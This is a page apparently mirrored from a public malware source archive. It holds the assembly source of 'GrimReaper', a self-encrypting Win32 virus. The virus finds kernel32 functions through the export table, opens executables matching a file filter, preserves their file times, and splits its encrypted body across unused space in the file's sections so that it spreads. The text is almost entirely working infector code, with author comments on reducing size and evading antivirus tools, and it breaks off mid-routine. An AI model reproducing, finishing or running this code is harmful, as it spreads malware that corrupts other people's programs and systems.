mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
4b9382ddbc
push
1288 lines
32 KiB
NASM
1288 lines
32 KiB
NASM
; The first F5G virus : "GrimReaper"
|
|
; Author: Ripper (Fuckup5Group)
|
|
; Website: fuckup5group.hypermart.net
|
|
; Begin: aprox. 12/18/00
|
|
; Used assembler: TASM 5.0
|
|
;
|
|
; Editor info: use a editor where one tab sign is equal to 3 spaces
|
|
; else it will be nearly unreadable
|
|
;
|
|
; Changes:
|
|
; v4.4 PRE-ALPHA (released 06/04/01):
|
|
; - documentation added (06/03/01)
|
|
; - the virus got a name ;) (06/03/01)
|
|
; - added 80h to the delta handle ebp to reduce virus size:
|
|
; the size shrunk by >>>169 BYTES<<< to 2461 bytes !!!
|
|
; that is under the 2474 bytes of v3.0 which didn't have virsections or
|
|
; encryption :D
|
|
; v4.3 PRE-ALPHA (released 05/18/01):
|
|
; - it's the first release with this header, so I'm unable to tell you any
|
|
; changes to prior releases
|
|
; - the virus has a size of 2630 bytes
|
|
;
|
|
; Virus size and bait size addition history:
|
|
; (with bait size addition I mean the growth of a bait file after infection.
|
|
; the first bait file is a minimal programm written in asm just calling
|
|
; MessageBoxA and ExitProcess so that there is a lot of unused space in it.
|
|
; the second bait file is the same written in cpp with as good as no unused
|
|
; space (even debug infos are included))
|
|
;
|
|
; v?.?-1.3 unknown (no backups, overwritten)
|
|
; v1.4 = 2386 bytes + 5632 bytes + 6297 bytes (nothing! just infection)
|
|
; v1.5 = 2270 bytes + 5632 bytes + 6297 bytes
|
|
;
|
|
; v2.0-3 unknown (no backups, overwritten)
|
|
; v2.4 = 2577 bytes + 6144 bytes + 6809 bytes (no unused, but encrypt)
|
|
; (very interesting values! seems to be a big bug I didn't recognize that time)
|
|
; (oh, I've got it: I added the virus behind fileoffset + virtual size of the
|
|
; last section instead of fileoffset + raw size! so it's clear that it has to
|
|
; be a little bit bigger than it should be)
|
|
;
|
|
; v3.0 = 2474 bytes + 1536 bytes + 2713 bytes (no virsecs,no encrypt)
|
|
; v3.1 = 3095 bytes + 1536 bytes + 2713 bytes (no encryption)
|
|
;
|
|
; v4.0 = 3330 bytes + 1536 bytes + 2713 bytes
|
|
; v4.1 = 2916 bytes + 1024 bytes + 2201 bytes
|
|
; v4.2 = 2904 bytes + 1024 bytes + 1689 bytes (added 1 virsection)
|
|
; v4.3 = 2630 bytes + 512 bytes + 1689 bytes
|
|
; v4.4 = 2461 bytes + 512 bytes + 1689 bytes
|
|
;
|
|
;
|
|
; Todo:
|
|
; - I'm going to try to use the free space between the data directory and the
|
|
; first section. This should bring me to the long awaited + 0 bytes in the
|
|
; first bait size addition column if it doesn't take to much code...
|
|
; - still a payload is needed
|
|
; - perhaps something polymorphic but I don't think this will come into this
|
|
; virus
|
|
; - another infection check cause the "GR" in the MZ header is too easy too
|
|
; discover
|
|
;
|
|
; THIS IS A PRE-RELEASE VERSION!!!! USE AT OWN RISK!!!
|
|
; >YOU< ARE RESPONSIBLE FOR ANY DAMAGE CAUSED BY THIS PROGRAMM!!!
|
|
;
|
|
; When assembling, don't forget to make the codesegment writable
|
|
; (set the dword at offset 0000021C to C0000040)
|
|
|
|
.386p
|
|
.model flat
|
|
|
|
extrn ExitProcess:PROC
|
|
extrn GetModuleHandleA:PROC
|
|
|
|
.data
|
|
db 0
|
|
|
|
.code
|
|
|
|
start:
|
|
|
|
; get delta handle without making avps paying attention to it
|
|
|
|
call GetDeltaHandle2
|
|
GetDeltaHandle:
|
|
mov ecx,offset section1end-cryptstart
|
|
sub ebp,offset GetDeltaHandle-offset start-80h
|
|
cmp ebp,offset start+80h
|
|
je cryptstart ; first generation ?
|
|
|
|
lea edi,[ebp+offset cryptstart-offset start-80h] ; no -> decrypt
|
|
mov eax,[ebp+offset randomkey-offset start-80h]
|
|
|
|
call crypt
|
|
|
|
jmp cryptstart
|
|
|
|
GetDeltaHandle2:
|
|
mov ebp,esp ; pretend to be a normal function
|
|
lea esi,[ebp+4]
|
|
mov ebp,[esi-4] ; get offset of GetDeltaHandle
|
|
ret
|
|
|
|
; crypt routine
|
|
;
|
|
; eax = Encryption key
|
|
; edi = ptr to data to be en- or decrypted
|
|
; ecx = size of data to be en- or decrypted
|
|
crypt:
|
|
rol eax,17
|
|
sub ecx,4
|
|
|
|
crypt32loop:
|
|
xor dword ptr [edi],eax
|
|
add eax,001010101h
|
|
ror eax,3
|
|
add edi,4
|
|
sub ecx,4
|
|
jns crypt32loop
|
|
add ecx,4
|
|
je cryptdone
|
|
|
|
crypt8loop:
|
|
xor byte ptr [edi],al
|
|
shr eax,8
|
|
inc edi
|
|
dec ecx
|
|
jne crypt8loop
|
|
|
|
cryptdone:
|
|
ret
|
|
|
|
randomkey dd 0
|
|
|
|
cryptstart: ; here starts the encryption
|
|
jmp RealStart
|
|
|
|
imagebase dd 0400000h
|
|
mapaddress dd 0
|
|
filehandle dd 0
|
|
|
|
; information about the virus pieces in the file are stored here
|
|
|
|
SECTIONNUM = 4
|
|
|
|
firstoffset dd 0 ;offset section1end
|
|
firstsize dd 0 ;(offset end-offset section1end)
|
|
firstdelta dd 0
|
|
|
|
dd 0
|
|
dd 0
|
|
dd 0
|
|
|
|
dd 0
|
|
dd 0
|
|
dd 0
|
|
|
|
dd 0
|
|
dd 0
|
|
dd 0
|
|
|
|
dd 0
|
|
|
|
; other stuff (sorted "by how often" it is used [excellent english,isn't it?])
|
|
|
|
oldip dd 0
|
|
PEheader dd 0
|
|
maxsize dd 0
|
|
oldrawsize dd 0
|
|
add2imagesize dd 0
|
|
delta dd 0
|
|
infectionflag dw 0
|
|
unusedsize dd 0
|
|
vxmemptr dd 0
|
|
|
|
kernel32 dd 0
|
|
limit dd 0
|
|
AddFunc dd 0
|
|
AddName dd 0
|
|
AddOrd dd 0
|
|
Nindex dd 0
|
|
|
|
filealign dd 0
|
|
fileofs dd 0
|
|
fileattributes dd 0
|
|
|
|
ftcreation dq 0 ; file times
|
|
ftlastwrite dq 0
|
|
ftlastaccess dq 0
|
|
|
|
newfilesize dd 0
|
|
memory dd 0
|
|
|
|
maphandle dd 0
|
|
|
|
sectionalign dd 0
|
|
|
|
newip dd 0
|
|
|
|
|
|
maxoffset dd 0
|
|
|
|
gmhptr dd 0
|
|
gmh db "GetModuleHandleA",0
|
|
gmhsize = $ - gmh
|
|
k32 db "KERNEL32.DLL",0
|
|
|
|
; The api functions
|
|
|
|
FirstKERNELAPIName:
|
|
AExitProcess db "ExitProcess",0
|
|
AGetProcAddress db "GetProcAddress",0
|
|
ALoadLibrary db "LoadLibraryA",0
|
|
AFreeLibrary db "FreeLibrary",0
|
|
;AGetWindowsDirectory db "GetWindowsDirectoryA",0
|
|
;AGetSystemDirectory db "GetSystemDirectoryA",0
|
|
;AGetCurrentDirectory db "GetCurrentDirectoryA",0
|
|
;ASetCurrentDirectory db "SetCurrentDirectoryA",0
|
|
AFindFirstFile db "FindFirstFileA",0
|
|
AFindNextFile db "FindNextFileA",0
|
|
AGetFileAttributes db "GetFileAttributesA",0
|
|
ASetFileAttributes db "SetFileAttributesA",0
|
|
ACreateFile db "CreateFileA",0
|
|
AGetFileTime db "GetFileTime",0
|
|
;AGetFileSize db "GetFileSize",0
|
|
ACreateFileMapping db "CreateFileMappingA",0
|
|
AMapViewOfFile db "MapViewOfFile",0
|
|
AUnmapViewOfFile db "UnmapViewOfFile",0
|
|
ACloseHandle db "CloseHandle",0
|
|
ASetFilePointer db "SetFilePointer",0
|
|
ASetEndOfFile db "SetEndOfFile",0
|
|
ASetFileTime db "SetFileTime",0
|
|
AGlobalAlloc db "GlobalAlloc",0
|
|
AGlobalFree db "GlobalFree",0
|
|
|
|
db 0
|
|
|
|
FirstUSER32APIName:
|
|
AMessageBox db "MessageBoxA",0
|
|
db 0
|
|
|
|
FirstKERNELAPIAddress:
|
|
AExitProcessA dd 0
|
|
AGetProcAddressA dd 0
|
|
ALoadLibraryA dd 0
|
|
AFreeLibraryA dd 0
|
|
;AGetWindowsDirectoryA dd 0
|
|
;AGetSystemDirectoryA dd 0
|
|
;AGetCurrentDirectoryA dd 0
|
|
;ASetCurrentDirectoryA dd 0
|
|
AFindFirstFileA dd 0
|
|
AFindNextFileA dd 0
|
|
AGetFileAttributesA dd 0
|
|
ASetFileAttributesA dd 0
|
|
ACreateFileA dd 0
|
|
AGetFileTimeA dd 0
|
|
;AGetFileSizeA dd 0
|
|
ACreateFileMappingA dd 0
|
|
AMapViewOfFileA dd 0
|
|
AUnmapViewOfFileA dd 0
|
|
ACloseHandleA dd 0
|
|
ASetFilePointerA dd 0
|
|
ASetEndOfFileA dd 0
|
|
ASetFileTimeA dd 0
|
|
AGlobalAllocA dd 0
|
|
AGlobalFreeA dd 0
|
|
|
|
FirstUSER32APIAddress:
|
|
AMessageBoxA dd 0
|
|
|
|
FirstLibName:
|
|
usr32 db "USER32.DLL",0
|
|
|
|
FirstLibAddress:
|
|
user32 dd ?
|
|
|
|
infections dd 0
|
|
exestr db "tester*.exe",0 ; the file filter
|
|
|
|
; win32_find_data structure
|
|
|
|
max_path = 260
|
|
|
|
filetime STRUC
|
|
FT_dwLowDateTime DD ?
|
|
FT_dwHighDateTime DD ?
|
|
filetime ENDS
|
|
|
|
win32_find_data STRUC
|
|
FileAttributes DD ?
|
|
CreationTime filetime ?
|
|
LastAccessTime filetime ?
|
|
LastWriteTime filetime ?
|
|
FileSizeHigh DD ?
|
|
FileSizeLow DD ?
|
|
Reserved0 DD ?
|
|
Reserved1 DD ?
|
|
FileName DB max_path DUP (?)
|
|
AlternateFileName DB 13 DUP (?)
|
|
DB 3 DUP (?)
|
|
win32_find_data ENDS
|
|
|
|
searchptr dd 0 ; pointer to the search struct
|
|
|
|
viruslen = end-start
|
|
|
|
;MsgTitle db "You are getting infected!",0
|
|
;MsgText db "This is MY message box!",0
|
|
|
|
RealStart:
|
|
;
|
|
; Check my surroundings
|
|
;
|
|
mov esi,[ebp+offset imagebase-offset start-80h]
|
|
cmp word ptr [esi],'ZM' ; is "MZ"?
|
|
jne getouttahere
|
|
add esi,03ch ; pointer to new header addr
|
|
mov esi,[esi] ; get new header address
|
|
add esi,[ebp+offset imagebase-offset start-80h] ; align it
|
|
cmp word ptr [esi],'EP' ; is "PE"?
|
|
jne getouttahere
|
|
|
|
cmp ebp,offset start+80h
|
|
jne notfirstgen
|
|
; tasm gives an error when writen so :
|
|
; lea eax,[ebp+offset GetModuleHandleA-offset start-80h]
|
|
lea eax,[ebp+offset GetModuleHandleA-00401000h-80h]
|
|
jmp callit
|
|
|
|
notfirstgen:
|
|
mov eax,[ebp+offset gmhptr-offset start-80h];get address of GetModuleHandle
|
|
mov eax,[eax]
|
|
or eax,eax
|
|
je getouttahere ; is NULL ? -> fuck you!
|
|
|
|
callit:
|
|
lea edx,[ebp+offset k32-offset start-80h] ; get module handle of KERNEL32
|
|
push edx
|
|
call eax
|
|
or eax,eax
|
|
jne found
|
|
|
|
mov eax,0bff70000h ; couldn't get it? -> hardcode address
|
|
|
|
found:
|
|
mov [ebp+offset kernel32-offset start-80h],eax ; check if it's really a PE
|
|
mov edi,eax
|
|
cmp word ptr [edi],'ZM'
|
|
jne getouttahere
|
|
mov edi,[edi+03ch]
|
|
add edi,eax
|
|
cmp word ptr [edi],'EP'
|
|
jne getouttahere
|
|
|
|
pushad ; ok it "should be" KERNEL32
|
|
mov edx,eax ; ptr to kernel32
|
|
mov esi,[edi+078h] ; get ptr to export directory
|
|
lea edi,[ebp+offset limit-offset start-80h]
|
|
lea esi,[esi+edx+18h] ; point to num. of names
|
|
movsd ; get it
|
|
lodsd ;
|
|
add eax,edx ;
|
|
stosd ; get ptr to funcofslist:AddFunc
|
|
lodsd
|
|
add eax,edx
|
|
stosd ; get ptr to nameofslist:AddName
|
|
lodsd
|
|
add eax,edx
|
|
stosd ; get ptr to nameordlist:AddOrd
|
|
mov eax,[ebp+offset AddName-offset start-80h]; get first pointer to a name
|
|
stosd ; save it into Nindex
|
|
|
|
; search for GetProcAddress so that the other api functions
|
|
; can be found with that function
|
|
|
|
mov edi,[eax]
|
|
add edi,edx
|
|
xor ecx,ecx
|
|
lea ebx,[ebp+offset AGetProcAddress-offset start-80h]
|
|
|
|
; find name in name list
|
|
|
|
tryagain:
|
|
mov esi,ebx
|
|
|
|
matchbyte:
|
|
cmpsb
|
|
jne nextone
|
|
|
|
cmp byte ptr [edi],0
|
|
je gotit
|
|
jmp matchbyte
|
|
|
|
nextone:
|
|
inc ecx
|
|
cmp ecx,dword ptr [ebp+offset limit-offset start-80h]
|
|
jge getouttahere
|
|
|
|
add dword ptr [ebp+offset Nindex-offset start-80h],4 ; get next pointer rva
|
|
mov esi,[ebp+offset Nindex-offset start-80h]
|
|
mov edi,[esi]
|
|
add edi,edx
|
|
jmp tryagain
|
|
|
|
; name found -> get function entry point
|
|
|
|
gotit:
|
|
lea ebx,[esi+1]
|
|
add ecx,ecx
|
|
mov esi,[ebp+offset AddOrd-offset start-80h]
|
|
add esi,ecx
|
|
xor eax,eax
|
|
mov ax,word ptr [esi]
|
|
shl eax,2
|
|
mov esi,[ebp+offset AddFunc-offset start-80h]
|
|
add esi,eax
|
|
mov edi,dword ptr [esi]
|
|
add edi,edx
|
|
mov [ebp+offset AGetProcAddressA-offset start-80h],edi
|
|
popad
|
|
|
|
; get other KERNEL32 api functions' addresses
|
|
|
|
lea edi,[ebp+offset FirstKERNELAPIName-offset start-80h]
|
|
lea esi,[ebp+offset FirstKERNELAPIAddress-offset start-80h]
|
|
mov ebx,[ebp+offset kernel32-offset start-80h]
|
|
call GetAPIFuncs
|
|
or eax,eax
|
|
jne getouttahere
|
|
|
|
; use LoadLibrary to load USER32 for the MessageBox funcion
|
|
|
|
lea eax,[ebp+offset usr32-offset start-80h]
|
|
push eax
|
|
mov eax,[ebp+offset ALoadLibraryA-offset start-80h]
|
|
call eax
|
|
or eax,eax
|
|
je getouttahere
|
|
mov [ebp+offset user32-offset start-80h],eax
|
|
|
|
; get needed USER32 api functions
|
|
|
|
lea edi,[ebp+offset FirstUSER32APIName-offset start-80h]
|
|
lea esi,[ebp+offset FirstUSER32APIAddress-offset start-80h]
|
|
mov ebx,[ebp+offset user32-offset start-80h]
|
|
call GetAPIFuncs
|
|
or eax,eax
|
|
jne getouttahere2
|
|
|
|
; this "payload" was commented out to reduce needed diskspace ;)
|
|
; it will be changed soon (like making it dependent on the number of
|
|
; infections being made yet on this computer or something like this...)
|
|
|
|
; push 0
|
|
; lea ecx,[ebp+offset MsgTitle-offset start-80h]
|
|
; push ecx
|
|
; lea ecx,[ebp+offset MsgText-offset start-80h]
|
|
; push ecx
|
|
; push 0
|
|
; mov eax,[ebp+offset AMessageBoxA-offset start-80h]
|
|
; call eax
|
|
|
|
cmp ebp,offset start+80h
|
|
je nosecinit ; first generation ?
|
|
|
|
; no -> put virus pieces together again
|
|
|
|
call InitOtherVxSecs
|
|
|
|
; infect directories
|
|
|
|
mov eax,[ebp+offset vxmemptr-offset start-80h]
|
|
add eax,offset Infect_directories-offset start
|
|
|
|
call eax
|
|
|
|
; and free up the memory space needed by the pieces
|
|
|
|
push dword ptr [ebp+offset vxmemptr-offset start-80h]
|
|
mov eax,[ebp+offset AGlobalFreeA-offset start-80h]
|
|
call eax
|
|
|
|
jmp getouttahere2
|
|
|
|
nosecinit: ; yes -> no sections -> just call it
|
|
call Infect_directories
|
|
|
|
getouttahere2:
|
|
push dword ptr [ebp+offset user32-offset start-80h]
|
|
mov eax,[ebp+offset AFreeLibraryA-offset start-80h]
|
|
call eax
|
|
|
|
getouttahere:
|
|
cmp ebp,offset start+80h
|
|
je exitnow ; first generation ?
|
|
mov eax,[ebp+offset oldip-offset start-80h] ; no -> call old entry point
|
|
add eax,[ebp+offset imagebase-offset start-80h]
|
|
jmp eax
|
|
|
|
exitnow: ; yes -> exit programm
|
|
push 0
|
|
mov eax,[ebp+offset AExitProcessA-offset start-80h]
|
|
call eax
|
|
|
|
; api function address "getter"
|
|
;
|
|
; ebx = library handle
|
|
; edi = address of first API name
|
|
; esi = address of first receiving API address
|
|
GetAPIFuncs:
|
|
push ecx
|
|
push edx
|
|
nextAPIFunc:
|
|
push edi
|
|
push ebx
|
|
mov eax,[ebp+offset AGetProcAddressA-offset start-80h]
|
|
call eax
|
|
or eax,eax
|
|
je GAFerror
|
|
mov [esi],eax
|
|
add esi,4
|
|
xor eax,eax
|
|
mov ecx,128
|
|
repnz scasb ; go to next name
|
|
cmp byte ptr [edi],0 ; was it the last one?
|
|
jne nextAPIFunc
|
|
|
|
pop edx
|
|
pop ecx
|
|
ret
|
|
|
|
GAFerror:
|
|
inc eax
|
|
pop edx
|
|
pop ecx
|
|
ret
|
|
|
|
; function to put the pieces of the virus distributed all over in the executable
|
|
; into one piece, so that it can be executed
|
|
|
|
InitOtherVxSecs:
|
|
|
|
; allocate memory where the pieces can be put together
|
|
|
|
push viruslen
|
|
push 0
|
|
mov eax,[ebp+offset AGlobalAllocA-offset start-80h]
|
|
call eax
|
|
or eax,eax ; Could I allocate needed memory?
|
|
je getouttahere2 ; No -> rrrrrrrrausssssss
|
|
|
|
mov [ebp+offset vxmemptr-offset start-80h],eax
|
|
|
|
; copy first section into that space
|
|
|
|
mov edi,eax
|
|
lea esi,[ebp+offset start-offset start-80h]
|
|
mov ecx,offset section1end-offset start
|
|
rep movsb
|
|
|
|
; go through section list, copy the pieces into the memory space
|
|
; and decrypt it
|
|
|
|
lea edx,[ebp+offset firstoffset-offset start-80h]
|
|
xor eax,eax
|
|
nextsec:
|
|
mov esi,[edx] ; address of section
|
|
or esi,esi
|
|
je allsecscopied
|
|
mov ecx,[edx+4] ; length of section
|
|
rep movsb ; copy it
|
|
|
|
mov ecx,[edx+4]
|
|
sub edi,ecx
|
|
mov eax,[ebp+offset randomkey-offset start-80h]
|
|
call crypt ; decrypt it
|
|
|
|
; mov ebx,edi
|
|
; mov edi,[edx]
|
|
; mov ecx,[edx+4]
|
|
; rep stosb ; clear used file sections
|
|
; mov edi,ebx ; doesn't work: some are write protected!
|
|
; add edx,8
|
|
|
|
add edx,12 ; go to next section
|
|
jmp nextsec
|
|
|
|
allsecscopied:
|
|
ret ; done
|
|
|
|
section1end:
|
|
|
|
; here ends the first section which is ALWAYS in one piece appended
|
|
; to the last filesection. the following code will be put depending of the
|
|
; victim into totally different pieces. so this will be fully executed in
|
|
; the allocated memory except in case it's the first generation...
|
|
|
|
Infect_directories:
|
|
push ebp
|
|
call GetDeltaHandle2 ; get new delta handle
|
|
GetDeltaHandle3:
|
|
sub ebp,offset GetDeltaHandle3-offset start-80h
|
|
|
|
; allocate memory for the search structure
|
|
|
|
push 320
|
|
push 0
|
|
mov eax,[ebp+offset AGlobalAllocA-offset start-80h]
|
|
call eax
|
|
or eax,eax
|
|
je memerror
|
|
mov [ebp+offset searchptr-offset start-80h],eax
|
|
|
|
; infect ONE file in the current directory
|
|
|
|
mov dword ptr [ebp+offset infections-offset start-80h],1
|
|
call infect_current_dir
|
|
|
|
; free search struct memory
|
|
|
|
push dword ptr [ebp+offset searchptr-offset start-80h]
|
|
mov eax,[ebp+offset AGlobalFreeA-offset start-80h]
|
|
call eax
|
|
|
|
memerror:
|
|
pop ebp
|
|
ret
|
|
|
|
; search for <infections> file with <exestr> filter in current directory
|
|
; and infect it
|
|
|
|
infect_current_dir:
|
|
mov edi,[ebp+offset searchptr-offset start-80h]
|
|
push edi
|
|
lea eax,[ebp+offset exestr-offset start-80h]
|
|
push eax
|
|
mov eax,[ebp+offset AFindFirstFileA-offset start-80h]
|
|
call eax
|
|
inc eax
|
|
jz no_files
|
|
dec eax
|
|
push eax
|
|
|
|
TryInfection:
|
|
lea esi,[edi.FileName]
|
|
mov ecx,[edi.FileSizeLow]
|
|
call Infect_File ; GO GO GO!!!
|
|
jc Another_file
|
|
dec dword ptr [ebp+offset infections-offset start-80h]
|
|
je All_done
|
|
|
|
Another_file:
|
|
push edi ; delete old filename
|
|
lea edi,[edi.FileName]
|
|
mov ecx,13
|
|
xor al,al
|
|
rep stosb
|
|
pop edi
|
|
pop eax
|
|
push eax
|
|
push edi
|
|
push eax
|
|
mov eax,[ebp+offset AFindNextFileA-offset start-80h] ; get next filename
|
|
call eax
|
|
or eax,eax
|
|
jne TryInfection
|
|
|
|
All_done:
|
|
pop eax
|
|
no_files:
|
|
ret
|
|
|
|
; this is the main infection routine
|
|
|
|
Infect_File:
|
|
pushad
|
|
|
|
mov dword ptr [ebp+newfilesize-offset start-80h],ecx
|
|
mov word ptr [ebp+infectionflag-offset start-80h],0
|
|
add ecx,viruslen+1000h ; some extra work space
|
|
mov [ebp+offset memory-offset start-80h],ecx
|
|
|
|
; backup fileattributes and set them to normal because of possible write
|
|
; protection etc.
|
|
|
|
mov [ebp+offset fileofs-offset start-80h],esi ; pointer to filename
|
|
push esi
|
|
mov eax,[ebp+AGetFileAttributesA-offset start-80h]
|
|
call eax
|
|
or eax,eax
|
|
mov [ebp+fileattributes-offset start-80h],eax ; backup attributes
|
|
|
|
push 80h
|
|
push esi
|
|
mov eax,[ebp+offset ASetFileAttributesA-offset start-80h]
|
|
call eax
|
|
|
|
; open the victim
|
|
|
|
push 0 ; file template
|
|
push 0 ; file attributes
|
|
push 3 ; open existing file
|
|
push 0 ; security option = default
|
|
push 1 ; file share for read
|
|
push 0c0000000h ; general write and read
|
|
push esi ; filename
|
|
mov eax,[ebp+offset ACreateFileA-offset start-80h]
|
|
call eax
|
|
|
|
mov [ebp+offset filehandle-offset start-80h],eax
|
|
cmp eax,-1
|
|
je infection_error
|
|
|
|
; save old filetimes
|
|
|
|
lea ebx,[ebp+offset ftcreation-offset start-80h]
|
|
push ebx
|
|
add ebx,8
|
|
push ebx
|
|
add ebx,8
|
|
push ebx
|
|
push eax
|
|
mov ebx,[ebp+AGetFileTimeA-offset start-80h]
|
|
call ebx
|
|
|
|
; create a mapping of the file
|
|
|
|
push 0 ; filename handle=NULL
|
|
push dword ptr [ebp+offset memory-offset start-80h] ; max size
|
|
push 0 ; min size
|
|
push 4 ; page read & write
|
|
push 0 ; security attrs
|
|
push dword ptr [ebp+offset filehandle-offset start-80h]
|
|
mov eax,[ebp+offset ACreateFileMappingA-offset start-80h]
|
|
call eax
|
|
|
|
mov [ebp+offset maphandle-offset start-80h],eax
|
|
or eax,eax
|
|
je close_file
|
|
|
|
; map a view of the file into memory
|
|
|
|
push dword ptr [ebp+offset memory-offset start-80h]; bytes to map
|
|
push 0 ; low file offset
|
|
push 0 ; hight file offset
|
|
push 2 ; file map read/write mode
|
|
push eax ; file map handle
|
|
mov eax,[ebp+offset AMapViewOfFileA-offset start-80h]
|
|
call eax
|
|
|
|
or eax,eax
|
|
je close_map
|
|
mov esi,eax
|
|
mov [ebp+offset mapaddress-offset start-80h],esi
|
|
|
|
; check if it's a PE and if it's already infected
|
|
|
|
cmp word ptr [esi],'ZM'
|
|
jne Unmap_view
|
|
cmp word ptr [esi+38h],'RG' ; very cheap
|
|
jne ok_go
|
|
dec word ptr [ebp+infectionflag-offset start-80h]
|
|
jmp Unmap_view
|
|
|
|
ok_go:
|
|
mov ebx,dword ptr [esi+03ch]
|
|
add esi,ebx ; esi points now to pehead
|
|
cmp word ptr [esi],'EP'
|
|
jne Unmap_view
|
|
|
|
lea edi,[ebp+offset firstoffset-offset start-80h] ; reset virsection data
|
|
mov ecx,10
|
|
xor eax,eax
|
|
rep stosd
|
|
mov dword ptr [ebp+offset firstoffset-offset start-80h+12*(SECTIONNUM-1)],1
|
|
|
|
mov [ebp+offset PEheader-offset start-80h],esi
|
|
mov eax,[esi+28h]
|
|
push dword ptr [ebp+offset oldip-offset start-80h] ; save own oldip
|
|
mov [ebp+offset oldip-offset start-80h],eax
|
|
|
|
push dword ptr [ebp+offset imagebase-offset start-80h] ; save own imagebase
|
|
mov eax,[esi+34h]
|
|
mov [ebp+offset imagebase-offset start-80h],eax
|
|
|
|
mov eax,[esi+38h]
|
|
mov [ebp+offset sectionalign-offset start-80h],eax
|
|
|
|
mov eax,[esi+3ch]
|
|
mov [ebp+offset filealign-offset start-80h],eax
|
|
|
|
xor ecx,ecx
|
|
mov dword ptr [ebp+offset add2imagesize-offset start-80h],ecx
|
|
|
|
;
|
|
; Check import dir for GetModuleHandle
|
|
;
|
|
|
|
mov edx,[esi+84h] ; imp dir size
|
|
mov edi,[esi+80h] ; imp dir addr
|
|
|
|
; search for import directory in the victim file
|
|
|
|
mov cx,[esi+6] ; num of secs
|
|
mov eax,[esi+74h] ; num of dir entries
|
|
shl eax,3
|
|
add esi,78h
|
|
add esi,eax
|
|
|
|
; search for a section where is
|
|
; virtualaddr<=impdiraddr && virtualaddr+size>=impdiraddr+impdirsize
|
|
|
|
nextsecchk:
|
|
mov eax,[esi+0ch] ; virtual address
|
|
cmp eax,edi
|
|
jbe firstcondok
|
|
notok:
|
|
add esi,28h
|
|
dec ecx
|
|
je didntfoundit
|
|
jmp nextsecchk
|
|
firstcondok:
|
|
add eax,[esi+10h] ; size of raw data
|
|
cmp eax,edi
|
|
jna notok
|
|
|
|
; calculate fileoffset of import directory
|
|
|
|
mov ecx,[ebp+offset mapaddress-offset start-80h]
|
|
add ecx,[esi+14h]
|
|
sub ecx,[esi+0ch]
|
|
add edi,ecx
|
|
|
|
mov esi,edi ; ptr to begin of imp dir
|
|
mov ebx,edx ; backup imp dir size
|
|
add edx,esi ; ptr to end of imp dir
|
|
|
|
; search for KERNEL32 imports
|
|
|
|
nextimpdirentry:
|
|
mov eax,[esi+0ch]
|
|
add eax,ecx
|
|
cmp dword ptr [eax],'NREK'
|
|
je foundit
|
|
add esi,014h
|
|
cmp esi,edx
|
|
jl nextimpdirentry
|
|
jmp didntfoundit
|
|
|
|
foundit:
|
|
mov esi,[esi+10h] ; use RVAFuncionAddressList instead of NameList
|
|
or esi,esi
|
|
je didntfoundit
|
|
|
|
add esi,ecx
|
|
mov edx,esi
|
|
mov eax,ebx
|
|
|
|
; search for the GetModuleFunction function
|
|
|
|
lookloop:
|
|
cmp dword ptr [edx],0
|
|
je didntfoundit
|
|
cmp byte ptr [edx+3],80h
|
|
je nothere
|
|
mov esi,[edx]
|
|
push ecx
|
|
add esi,ecx
|
|
add esi,2
|
|
lea edi,[ebp+offset gmh-offset start-80h]
|
|
mov ecx,gmhsize
|
|
rep cmpsb
|
|
pop ecx
|
|
je foundgmh
|
|
|
|
nothere:
|
|
add edx,4
|
|
dec eax
|
|
jne lookloop
|
|
|
|
didntfoundit: ; not found -> infection impossible
|
|
pop dword ptr [ebp+offset imagebase-offset start-80h]
|
|
pop dword ptr [ebp+offset oldip-offset start-80h]
|
|
jmp Unmap_view
|
|
|
|
foundgmh:
|
|
|
|
; store its address in gmhptr
|
|
|
|
add edx,[ebp+offset imagebase-offset start-80h]
|
|
sub edx,ecx
|
|
mov [ebp+offset gmhptr-offset start-80h],edx
|
|
|
|
mov esi,[ebp+offset PEheader-offset start-80h]
|
|
|
|
;
|
|
; calculate how the virus should be put into the victim
|
|
;
|
|
|
|
; calculate file offset of last section
|
|
|
|
mov ebx,[esi+74h] ; num of dir entries(each 8 byte)
|
|
shl ebx,3
|
|
xor eax,eax
|
|
mov ax,word ptr [esi+6h] ; num of sections(each 28 byte)
|
|
dec eax
|
|
mov ecx,28h
|
|
mul ecx
|
|
add esi,78h ; dir table offset
|
|
add esi,ebx
|
|
add esi,eax ; esi is now pointing at last sections offset
|
|
|
|
or dword ptr [esi+24h],0a0000020h ; set sec flags for code,exec,write
|
|
mov ecx,[esi+10h] ; raw data size
|
|
mov [ebp+offset oldrawsize-offset start-80h],ecx
|
|
|
|
; count number of unused bytes(00 bytes) in the last section
|
|
|
|
mov edi,[esi+14h] ; raw data fileoffset
|
|
add edi,[ebp+offset mapaddress-offset start-80h]
|
|
add edi,ecx
|
|
dec edi ; edi -> last byte of last section
|
|
std
|
|
xor eax,eax
|
|
repz scasb
|
|
cld
|
|
mov eax,[ebp+offset oldrawsize-offset start-80h]
|
|
dec eax
|
|
sub eax,ecx
|
|
mov [ebp+offset unusedsize-offset start-80h],eax
|
|
|
|
mov ebx,viruslen
|
|
cmp eax,ebx ; is enough room in unused raw data ?
|
|
jae vxinraw
|
|
|
|
sub ebx,eax ; no, calc rest needed
|
|
|
|
cmp eax,offset section1end-offset start
|
|
jae sec1inraw ; is enough room for sec1 in unused raw data ?
|
|
|
|
neg eax ; no, add rest of sec1 to last sec (only size)
|
|
add eax,offset section1end-offset start
|
|
add [esi+10h],eax
|
|
sub ebx,eax ; ebx is the rest needed
|
|
|
|
sec1inraw:
|
|
|
|
; search for unused space in all file sections and store infos about 'em
|
|
|
|
lea edx,[ebp+offset firstoffset-offset start-80h]
|
|
|
|
whatsyouwantloop:
|
|
call GetBiggestUnusedSpace
|
|
|
|
mov [edx],edi
|
|
mov [edx+4],ecx
|
|
mov [edx+8],eax
|
|
|
|
cmp ebx,ecx
|
|
ja ineedmore
|
|
|
|
mov [edx+4],ebx ; set last size to ebx
|
|
jmp imsatisfied
|
|
|
|
ineedmore:
|
|
sub ebx,ecx
|
|
|
|
add edi,ecx
|
|
add edx,12
|
|
mov byte ptr [edi-1],1 ; mark as used
|
|
cmp dword ptr [edx],1
|
|
jne whatsyouwantloop
|
|
|
|
ineedmore2:
|
|
|
|
; the remaining rest will be added to the last section after the first
|
|
; virus section
|
|
|
|
mov edi,[esi+14h] ; fileoffset
|
|
add edi,[ebp+offset mapaddress-offset start-80h]
|
|
add edi,[esi+10h] ; raw size
|
|
mov [edx],edi ; virsec offset
|
|
|
|
mov [edx+4],ebx ; virsec size = rest
|
|
|
|
; calculate delta value between virsec offset in virmem(mapaddress) and
|
|
